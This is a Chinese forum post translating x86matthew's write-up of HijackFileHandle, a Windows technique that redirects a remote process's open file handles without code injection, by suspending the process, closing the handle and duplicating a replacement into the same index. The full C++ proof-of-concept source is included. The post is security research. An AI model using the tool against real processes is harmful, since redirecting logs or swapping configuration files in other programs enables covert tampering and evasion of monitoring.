飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 1169|回复: 0

[C/C++] HijackFileHandle - 在不注入代码的情况下劫持一个远程进程的文件

[复制链接]
  • TA的每日心情
    开心
    2019-3-15 11:00
  • 签到天数: 262 天

    [LV.8]以坛为家I

    发表于 2022-2-10 10:05:10 | 显示全部楼层 |阅读模式
    翻译
    原文地址:https://www.x86matthew.com/view_post?id=hijack_file_handle
    这篇文章介绍了我前段时间开发的一项技术,它允许在远程进程中操纵文件句柄,而不需要依赖代码注入。

    这个方法利用了Windows重新使用句柄索引的事实。当一个句柄被关闭时,在该进程中创建的下一个句柄将重新使用先前的句柄索引。这个事实是众所周知的,所以我相信其他人也会想出类似的想法。

    这主要用于将一个日志文件(或任何其他输出文件)重定向到一个不同的位置,但通过一些小的代码修改,它有可能被用来替换目标进程中的一个配置文件。这适用于任何使用持久化文件句柄的软件。

    我们可以通过以下步骤来利用这一机制:
    1. 创建一个新的输出文件——目标句柄将被重定向到这里。
    2. 使用NtSuspendProcess暂停目标进程。
    3. 使用NtQuerySystemInformation循环浏览目标进程中的所有句柄。
    4. .通过检查ObjectTypeIndex值忽略任何非文件句柄。我已经写了一个函数来计算文件句柄的正确ObjectTypeIndex。
    5. 使用NtQueryInformationFile与FileNameInformation在远程进程中找到目标文件句柄,以检索文件路径。这里需要一些技巧来避免死锁。
    6. 使用带有DUPLICATE_CLOSE_SOURCE标志的DuplicateHandle关闭远程进程中的目标文件句柄。
    7. 使用DuplicateHandle将新的输出文件(来自步骤#1)复制到目标进程中。确认复制的句柄与原始目标句柄相匹配。
    8. 使用NtResumeProcess恢复目标进程。

    我的概念验证程序采取以下参数:
    [AppleScript] 纯文本查看 复制代码
    HijackFileHandle.exe <target_pid> <target_file_name> <new_file_path>

    为了演示这个概念,我们将执行ping 8.8.8.8 -t > output.txt来启动一个无法计量的ping,并写入output.txt。

    在第二个命令窗口中,我们可以执行以下命令。

    HijackFileHandle.exe 1234 output.txt hijacked.txt
    (用ping.exe的进程ID替换1234)

    这将搜索目标进程中与 "output.txt "相关的任何文件句柄,并以透明方式将它们替换为 "hijacked.txt "的新句柄。
    2.gif
    完整代码如下:
    [C++] 纯文本查看 复制代码
    #include <stdio.h>
    #include <windows.h>
    
    #define SystemExtendedHandleInformation 64
    #define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
    
    #define FileNameInformation 9
    #define PROCESS_SUSPEND_RESUME 0x800
    
    struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
    {
        ULONG Object;
        ULONG UniqueProcessId;  
        ULONG HandleValue;  
        ULONG GrantedAccess;
        USHORT CreatorBackTraceIndex;
        USHORT ObjectTypeIndex;
        ULONG HandleAttributes;
        ULONG Reserved;
    };
    
    struct SYSTEM_HANDLE_INFORMATION_EX
    {
    	ULONG NumberOfHandles;
    	ULONG Reserved;
    	SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX HandleList[1];
    };
    
    struct FILE_NAME_INFORMATION
    {
    	ULONG FileNameLength;
    	WCHAR FileName[1];
    };
    
    struct IO_STATUS_BLOCK
    {
    	union
    	{
    		DWORD Status;
    		PVOID Pointer;
    	};
    	DWORD *Information;
    };
    
    struct GetFileHandlePathThreadParamStruct
    {
    	HANDLE hFile;
    	char szPath[512];
    };
    
    DWORD (WINAPI *NtQuerySystemInformation)(DWORD SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
    DWORD (WINAPI *NtQueryInformationFile)(HANDLE FileHandle, void *IoStatusBlock, PVOID FileInformation, ULONG Length, DWORD FileInformationClass);
    DWORD (WINAPI *NtSuspendProcess)(HANDLE Process);
    DWORD (WINAPI *NtResumeProcess)(HANDLE Process);
    
    SYSTEM_HANDLE_INFORMATION_EX *pGlobal_SystemHandleInfo = NULL;
    DWORD dwGlobal_DebugObjectType = 0;
    
    DWORD GetSystemHandleList()
    {
    	DWORD dwAllocSize = 0;
    	DWORD dwStatus = 0;
    	DWORD dwLength = 0;
    	BYTE *pSystemHandleInfoBuffer = NULL;
    
    	// free previous handle info list (if one exists)
    	if(pGlobal_SystemHandleInfo != NULL)
    	{
    		free(pGlobal_SystemHandleInfo);
    	}
    
    	// get system handle list
    	dwAllocSize = 0;
    	for(;;)
    	{
    		if(pSystemHandleInfoBuffer != NULL)
    		{
    			// free previous inadequately sized buffer
    			free(pSystemHandleInfoBuffer);
    			pSystemHandleInfoBuffer = NULL;
    		}
    
    		if(dwAllocSize != 0)
    		{
    			// allocate new buffer
    			pSystemHandleInfoBuffer = (BYTE*)malloc(dwAllocSize);
    			if(pSystemHandleInfoBuffer == NULL)
    			{
    				return 1;
    			}
    		}
    
    		// get system handle list
    		dwStatus = NtQuerySystemInformation(SystemExtendedHandleInformation, (void*)pSystemHandleInfoBuffer, dwAllocSize, &dwLength);
    		if(dwStatus == 0)
    		{
    			// success
    			break;
    		}
    		else if(dwStatus == STATUS_INFO_LENGTH_MISMATCH)
    		{
    			// not enough space - allocate a larger buffer and try again (also add an extra 1kb to allow for additional handles created between checks)
    			dwAllocSize = (dwLength + 1024);
    		}
    		else
    		{
    			// other error
    			free(pSystemHandleInfoBuffer);
    			return 1;
    		}
    	}
    
    	// store handle info ptr
    	pGlobal_SystemHandleInfo = (SYSTEM_HANDLE_INFORMATION_EX*)pSystemHandleInfoBuffer;
    
    	return 0;
    }
    
    DWORD GetFileHandleObjectType(DWORD *pdwFileHandleObjectType)
    {
    	HANDLE hFile = NULL;
    	char szPath[512];
    	DWORD dwFound = 0;
    	DWORD dwFileHandleObjectType = 0;
    
    	// get the file path of the current exe
    	memset(szPath, 0, sizeof(szPath));
    	if(GetModuleFileName(NULL, szPath, sizeof(szPath) - 1) == 0)
    	{
    		return 1;
    	}
    
    	// open the current exe
    	hFile = CreateFile(szPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    	if(hFile == INVALID_HANDLE_VALUE)
    	{
    		return 1;
    	}
    
    	// take a snapshot of the system handle list
    	if(GetSystemHandleList() != 0)
    	{
    		return 1;
    	}
    
    	// close the temporary file handle
    	CloseHandle(hFile);
    
    	// find the temporary file handle in the previous snapshot
    	for(DWORD i = 0; i < pGlobal_SystemHandleInfo->NumberOfHandles; i++)
    	{
    		// check if the process ID is correct
    		if(pGlobal_SystemHandleInfo->HandleList[i].UniqueProcessId == GetCurrentProcessId())
    		{
    			// check if the handle index is correct
    			if(pGlobal_SystemHandleInfo->HandleList[i].HandleValue == (DWORD)hFile)
    			{
    				// store the file handle object type index
    				dwFileHandleObjectType = pGlobal_SystemHandleInfo->HandleList[i].ObjectTypeIndex;
    				dwFound = 1;
    				break;
    			}
    		}
    	}
    
    	// ensure the file handle object type was found
    	if(dwFound == 0)
    	{
    		return 1;
    	}
    
    	// store object type
    	*pdwFileHandleObjectType = dwFileHandleObjectType;
    
    	return 0;
    }
    
    DWORD WINAPI GetFileHandlePathThread(LPVOID lpArg)
    {
    	BYTE bFileInfoBuffer[2048];
    	IO_STATUS_BLOCK IoStatusBlock;
    	GetFileHandlePathThreadParamStruct *pGetFileHandlePathThreadParam = NULL;
    	FILE_NAME_INFORMATION *pFileNameInfo = NULL;
    
    	// get param
    	pGetFileHandlePathThreadParam = (GetFileHandlePathThreadParamStruct*)lpArg;
    
    	// get file path from handle
    	memset((void*)&IoStatusBlock, 0, sizeof(IoStatusBlock));
    	memset(bFileInfoBuffer, 0, sizeof(bFileInfoBuffer));
    	if(NtQueryInformationFile(pGetFileHandlePathThreadParam->hFile, &IoStatusBlock, bFileInfoBuffer, sizeof(bFileInfoBuffer), FileNameInformation) != 0)
    	{
    		return 1;
    	}
    
    	// get FILE_NAME_INFORMATION ptr
    	pFileNameInfo = (FILE_NAME_INFORMATION*)bFileInfoBuffer;
    
    	// validate filename length
    	if(pFileNameInfo->FileNameLength >= sizeof(pGetFileHandlePathThreadParam->szPath))
    	{
    		return 1;
    	}
    
    	// convert file path to ansi string
    	wcstombs(pGetFileHandlePathThreadParam->szPath, pFileNameInfo->FileName, sizeof(pGetFileHandlePathThreadParam->szPath) - 1);
    
    	return 0;
    }
    
    DWORD ReplaceFileHandle(HANDLE hTargetProcess, HANDLE hExistingRemoteHandle, HANDLE hReplaceLocalHandle)
    {
    	HANDLE hClonedFileHandle = NULL;
    	HANDLE hRemoteReplacedHandle = NULL;
    
    	// close remote file handle
    	if(DuplicateHandle(hTargetProcess, hExistingRemoteHandle, GetCurrentProcess(), &hClonedFileHandle, 0, 0, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS) == 0)
    	{
    		return 1;
    	}
    
    	// close cloned file handle
    	CloseHandle(hClonedFileHandle);
    
    	// duplicate local file handle into remote process
    	if(DuplicateHandle(GetCurrentProcess(), hReplaceLocalHandle, hTargetProcess, &hRemoteReplacedHandle, 0, 0, DUPLICATE_SAME_ACCESS) == 0)
    	{
    		return 1;
    	}
    
    	// ensure that the new remote handle matches the original value
    	if(hRemoteReplacedHandle != hExistingRemoteHandle)
    	{
    		return 1;
    	}
    
    	return 0;
    }
    
    DWORD HijackFileHandle(DWORD dwTargetPID, char *pTargetFileName, HANDLE hReplaceLocalHandle)
    {
    	HANDLE hProcess = NULL;
    	HANDLE hClonedFileHandle = NULL;
    	DWORD dwFileHandleObjectType = 0;
    	DWORD dwThreadExitCode = 0;
    	DWORD dwThreadID = 0;
    	HANDLE hThread = NULL;
    	GetFileHandlePathThreadParamStruct GetFileHandlePathThreadParam;
    	char *pLastSlash = NULL;
    	DWORD dwHijackCount = 0;
    
    	// calculate the object type index for file handles on this system
    	if(GetFileHandleObjectType(&dwFileHandleObjectType) != 0)
    	{
    		return 1;
    	}
    
    	printf("Opening process: %u...\n", dwTargetPID);
    
    	// open target process
    	hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_SUSPEND_RESUME, 0, dwTargetPID);
    	if(hProcess == NULL)
    	{
    		return 1;
    	}
    
    	// suspend target process
    	if(NtSuspendProcess(hProcess) != 0)
    	{
    		CloseHandle(hProcess);
    
    		return 1;
    	}
    
    	// get system handle list
    	if(GetSystemHandleList() != 0)
    	{
    		NtResumeProcess(hProcess);
    		CloseHandle(hProcess);
    
    		return 1;
    	}
    
    	for(DWORD i = 0; i < pGlobal_SystemHandleInfo->NumberOfHandles; i++)
    	{
    		// ensure this handle is a file handle object
    		if(pGlobal_SystemHandleInfo->HandleList[i].ObjectTypeIndex != dwFileHandleObjectType)
    		{
    			continue;
    		}
    
    		// ensure this handle is in the target process
    		if(pGlobal_SystemHandleInfo->HandleList[i].UniqueProcessId != dwTargetPID)
    		{
    			continue;
    		}
    
    		// clone file handle
    		if(DuplicateHandle(hProcess, (HANDLE)pGlobal_SystemHandleInfo->HandleList[i].HandleValue, GetCurrentProcess(), &hClonedFileHandle, 0, 0, DUPLICATE_SAME_ACCESS) == 0)
    		{
    			continue;
    		}
    
    		// get the file path of the current handle - do this in a new thread to prevent deadlocks
    		memset((void*)&GetFileHandlePathThreadParam, 0, sizeof(GetFileHandlePathThreadParam));
    		GetFileHandlePathThreadParam.hFile = hClonedFileHandle;
    		hThread = CreateThread(NULL, 0, GetFileHandlePathThread, (void*)&GetFileHandlePathThreadParam, 0, &dwThreadID);
    		if(hThread == NULL)
    		{
    			CloseHandle(hClonedFileHandle);
    			continue;
    		}
    
    		// wait for thread to finish (1 second timeout)
    		if(WaitForSingleObject(hThread, 1000) != WAIT_OBJECT_0)
    		{
    			// time-out - kill thread
    			TerminateThread(hThread, 1);
    
    			CloseHandle(hThread);
    			CloseHandle(hClonedFileHandle);
    			continue;
    		}
    
    		// close cloned file handle
    		CloseHandle(hClonedFileHandle);
    
    		// check exit code of temporary thread
    		GetExitCodeThread(hThread, &dwThreadExitCode);
    		if(dwThreadExitCode != 0)
    		{
    			// failed
    			CloseHandle(hThread);
    			continue;
    		}
    
    		// close thread handle
    		CloseHandle(hThread);
    
    		// get last slash in path
    		pLastSlash = strrchr(GetFileHandlePathThreadParam.szPath, '\\');
    		if(pLastSlash == NULL)
    		{
    			continue;
    		}
    
    		// check if this is the target filename
    		pLastSlash++;
    		if(stricmp(pLastSlash, pTargetFileName) != 0)
    		{
    			continue;
    		}
    
    		// found matching filename
    		printf("Found remote file handle: \"%s\" (Handle ID: 0x%X)\n", GetFileHandlePathThreadParam.szPath, pGlobal_SystemHandleInfo->HandleList[i].HandleValue);
    		dwHijackCount++;
    
    		// replace the remote file handle
    		if(ReplaceFileHandle(hProcess, (HANDLE)pGlobal_SystemHandleInfo->HandleList[i].HandleValue, hReplaceLocalHandle) == 0)
    		{
    			// handle replaced successfully
    			printf("Remote file handle hijacked successfully\n\n");
    		}
    		else
    		{
    			// failed to hijack handle
    			printf("Failed to hijack remote file handle\n\n");
    		}
    	}
    
    	// resume process
    	if(NtResumeProcess(hProcess) != 0)
    	{
    		CloseHandle(hProcess);
    
    		return 1;
    	}
    
    	// clean up
    	CloseHandle(hProcess);
    
    	// ensure at least one matching file handle was found
    	if(dwHijackCount == 0)
    	{
    		printf("No matching file handles found\n");
    
    		return 1;
    	}
    
    	return 0;
    }
    
    DWORD GetNtdllFunctions()
    {
    	// get NtQueryInformationFile ptr
    	NtQueryInformationFile = (unsigned long (__stdcall *)(void *,void *,void *,unsigned long,unsigned long))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationFile");
    	if(NtQueryInformationFile == NULL)
    	{
    		return 1;
    	}
    
    	// get NtQuerySystemInformation ptr
    	NtQuerySystemInformation = (unsigned long (__stdcall *)(unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
    	if(NtQuerySystemInformation == NULL)
    	{
    		return 1;
    	}
    
    	// get NtSuspendProcess ptr
    	NtSuspendProcess = (unsigned long (__stdcall *)(void *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtSuspendProcess");
    	if(NtSuspendProcess == NULL)
    	{
    		return 1;
    	}
    
    	// get NtResumeProcess ptr
    	NtResumeProcess = (unsigned long (__stdcall *)(void *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtResumeProcess");
    	if(NtResumeProcess == NULL)
    	{
    		return 1;
    	}
    
    	return 0;
    }
    
    int main(int argc, char *argv[])
    {
    	DWORD dwPID = 0;
    	char *pTargetFileName = NULL;
    	char *pNewFilePath = NULL;
    	HANDLE hFile = NULL;
    
    	printf("HijackFileHandle - [url]www.x86matthew.com[/url]\n\n");
    
    	if(argc != 4)
    	{
    		printf("%s <target_pid> <target_file_name> <new_file_path>\n\n", argv[0]);
    		return 1;
    	}
    
    	// get params
    	dwPID = atoi(argv[1]);
    	pTargetFileName = argv[2];
    	pNewFilePath = argv[3];
    
    	// get ntdll function ptrs
    	if(GetNtdllFunctions() != 0)
    	{
    		return 1;
    	}
    
    	// create new output file
    	hFile = CreateFile(pNewFilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL);
    	if(hFile == INVALID_HANDLE_VALUE)
    	{
    		printf("Failed to create file\n");
    
    		return 1;
    	}
    
    	// hijack file handle in target process
    	if(HijackFileHandle(dwPID, pTargetFileName, hFile) != 0)
    	{
    		printf("Error\n");
    
    		// error - delete output file
    		CloseHandle(hFile);
    		DeleteFile(pNewFilePath);
    
    		return 1;
    	}
    
    	// close local file handle
    	CloseHandle(hFile);
    
    	printf("Finished\n");
    
    	return 0;
    }
    PYG19周年生日快乐!
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表